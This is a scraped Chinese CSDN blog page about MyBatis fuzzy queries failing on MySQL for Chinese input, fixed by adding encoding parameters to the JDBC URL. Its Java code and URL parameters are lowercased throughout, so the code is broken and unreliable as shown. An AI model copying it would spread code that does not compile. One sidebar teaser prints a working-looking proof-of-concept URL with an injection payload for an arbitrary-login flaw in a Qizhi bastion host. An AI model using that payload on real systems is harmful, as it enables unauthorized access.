java中使用mysql查询 条件中含有中文时查询不到结果_Mybatis使用MySQL模糊查询时输入中文检索不到结果怎么办...-程序员宅基地

技术标签: java中使用mysql查询 条件中含有中文时查询不到结果  

项目开发中,在做mybatis动态查询时,遇到了一个问题:mysql在进行like模糊查询时,输入英文可以正常检索出结果,但是输入中文后检索得到的结果为空。

由于是使用get方式请求,所以为了确保中文不乱码,在控制台接收到请求参数后,对中文进行了一次编码。

try {

realname = new string(realname.getbytes("gbk"), "utf-8");

} catch (unsupportedencodingexception exception) {

logger.error("realname在进行utf-8编码时出错," + exception.tostring());

}

mybatis动态sql映射,具体的sql如下:

ec3afeecadaf29148d7aad38566abf03.png

首先使用模糊查询检索英文。启动项目,输入英文“test”,按照英文内容检索得到的结果如下图:

fa3d4b0381d4fccb9e41b50a58e057d8.png

我们可以看到sql正常执行,使用“test”总共检索出2条结果,数据库中对应字段的内容分别是张三test02和张三test,正常来说,如果我们输入中文“张”也可以查询到这两条数据,下面试试使用模糊查询检索中文。启动项目,输入中文“张”,检索得到结果如下图:

0240abbf3e5982c49703c073f1898350.png

我们可以看到这里检索出的结果是0条记录,并且条件的中文内容没有乱码,和预想中的并不一样。复制同样的sql语句到sqlyog中执行是可以正常检索出结果的。

在使用sqlserver时并没有出现过这样的问题,这次使用mysql才出现这种情况,怀疑是在mybatis配置数据源environment时sqlserver和mysql配置的内容有差异,仔细对比并上网查阅相关内容后发现,mysql在进行中文检索时,需要在jdbcurl后增加参数useunicode=true&characterencoding=utf-8来指定编码格式。

60c3d5f3d9125c35ad929b84b4d365c9.png

完整的url:

jdbc:mysql://127.0.0.1:3306/fanyl_web?useunicode=true&characterencoding=utf-8

在修改了mysql的jdbcurl后,启动项目,继续输入中文“张”,检索得到结果如下:

57a5ff8bfd5da5f8e8310d492e05fc82.png

总共检索出3条结果,至此mybatis使用mysql进行模糊查询时输入中文检索不到结果的问题就解决了。

另外再附上mysql的jdbcurl中常见的几个参数说明:

61d6bd60015bade82044be3c9a06107f.png

以上所述是小编给大家介绍的mybatis使用mysql模糊查询时输入中文检索不到结果怎么办,希望对大家有所帮助

希望与广大网友互动??

点此进行留言吧!

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/weixin_29603387/article/details/114507622

智能推荐

串行接收器_串行数据接收器-程序员宅基地

文章浏览阅读52次。设计一个有限状态机,该状态机将在给定比特流时识别何时正确接收字节。它需要识别起始位,等待所有8个数据位,然后验证停止位是否正确。如果停止位未按预期出现,则 FSM 必须等到找到停止位后再尝试接收下一个字节。每个数据字节都与起始位和停止位一起发送,以帮助接收器从位流中分隔字节。使用一个起始位 (0)、8 个数据位和 1 个停止位 (1)。当没有传输任何内容(空闲)时,该线路也处于逻辑 1。_串行数据接收器

计算机视觉入门-程序员宅基地

文章浏览阅读296次。计算机视觉是一门研究如何使计算机“看”的学科,它涉及了图像处理、模式识别、机器学习等多个领域。

浅谈Json解析与序列化_序列化和json解析的区别-程序员宅基地

文章浏览阅读1.7w次,点赞6次,收藏16次。从头说起:首先的首先,什么是Json:一种数据表示形式,JSON:JavaScript Object Notation对象表示法Json语法规则:数据在键值对中数据由逗号分隔花括号保存对象方括号保存数组像这样:{ "firstName":"John" , "lastName":"Doe" }这样:{"em_序列化和json解析的区别

springboot的配置文件如何配置可以实现多个yml相互读取_springboot如何读取多个yml配置-程序员宅基地

文章浏览阅读2k次,点赞2次,收藏6次。在Spring Boot中,可以通过多种方式来实现配置文件的相互读取和组合。如果你想要在一个Spring Boot应用中使用多个YAML(.yml。_springboot如何读取多个yml配置

C语言中scanf(输入)和printf(输出)的用法详解_scanf输入printf输出-程序员宅基地

文章浏览阅读440次,点赞3次,收藏6次。我们可以看到运行结果123的前面空出了两行,所以这个就是占位符前面加数字的作用!,那么这个时候问题又来了,现在的情况是右对齐,我们如果想左对齐怎么办呢?我们可以看到,这个时候代码就已经左对齐了,其实后面还有2个空位,那么问题又来了,这个前面加数字的作用是什么呢?的意思就是限制输出的数字长度是6个位,小数点后的位数是2个位。默认的情况下printf()不对+进行显示,而对-进行显示,所以如果想要输出负数,就要在d的前面加上负号。的作⽤是将想要输出的内容输出到屏幕上,它名字⾥⾯的 f。_scanf输入printf输出

齐治堡垒机任意用户登录漏洞_/audit/gui_detail_view.php-程序员宅基地

文章浏览阅读8.7k次。声明:仅供漏洞检测和学习,勿用于非法测试漏洞披露时间2021-04-09fofa查询语法app=“齐治科技-堡垒机”POChttp://xxx.xxx.xxx.xxx/audit/gui_detail_view.php?token=1&id=%5C&uid=%2Cchr(97))%20or%201:%20print%20chr(121)%2bchr(101)%2bchr(115)%0d%0a%23&login=shterm批量检测脚本可以先用fof_/audit/gui_detail_view.php

随便推点

Matlab 生成license_matlab 2023试用期license-程序员宅基地

文章浏览阅读845次,点赞8次,收藏5次。Matlab 服务器端激活_matlab 2023试用期license

CodeSign error: code signing is required for product type Application in SDK iOS-程序员宅基地

文章浏览阅读53次。原地址:CodeSign error: code signing is required for product type Application in SDK iOS 在真机测试的时候往往会突然出现这样一个错误,code signing is required for product type 'Application' in SDK 'iOS 7.0' ,就是说代码签名证书不对劲。..._hellocordova doesn't have a bundle identifier. add a value for product_bundl

【PTA】线性表的两个非递减集合求并集_数据结构线性表的两个非递减集合求并集pta-程序员宅基地

文章浏览阅读4.1k次,点赞6次,收藏7次。线性表的两个非递减集合求并集(山东大学威海校区大二数据结构实验)_数据结构线性表的两个非递减集合求并集pta

InputStream只能读取一次的解决办法_inpustrem只能读一次-程序员宅基地

文章浏览阅读1w次。有时候我们需要对同一个InputStream对象使用多次。比如,客户端从服务器获取数据 ,利用HttpURLConnection的getInputStream()方法获得Stream对象,这时既要把数据显示到前台(第一次读取),又想把数据写进文件缓存到本地(第二次读取)。但第一次读取InputStream对象后,第二次再读取时可能已经到Stream的结尾了(EOFException)或者Stream_inpustrem只能读一次

webpack配置-程序员宅基地

文章浏览阅读1.1w次,点赞35次,收藏143次。webpack是前端的打包工具打包的工作内容是什么扫描项目,生成整个项目所有模块的依赖关系,根据配置对模块进行合并,生成一个单独的文件。修改html文件,让html文件引用生成后的文件将浏览器无法直接识别的(less、sass、ts)文件,转换成浏览器可以实现的内容。将浏览器暂时无法支持的JS新的语法转换成浏览器可以支持的语法。_webpack配置

Nexus 6p bootloop经历_n2g47z_4cores.img-程序员宅基地

文章浏览阅读2.2k次。昨天,用了1年半的6p不知为什么就bootloop了。正常使用中,突然就重启,然后就在重启提示和google标之间来回换,完全停不下来。能进入刷机模式,回复出场什么的都用不了,都会回到bootloop。用power off可以关机,可是一旦接上电源,就又开始bootloop。白色google一出来几秒钟不动,就感觉不对头,让人崩溃。。。。一想买新机又要花钱,决定再抢救一下了。先google..._n2g47z_4cores.img

推荐文章

热门文章

相关标签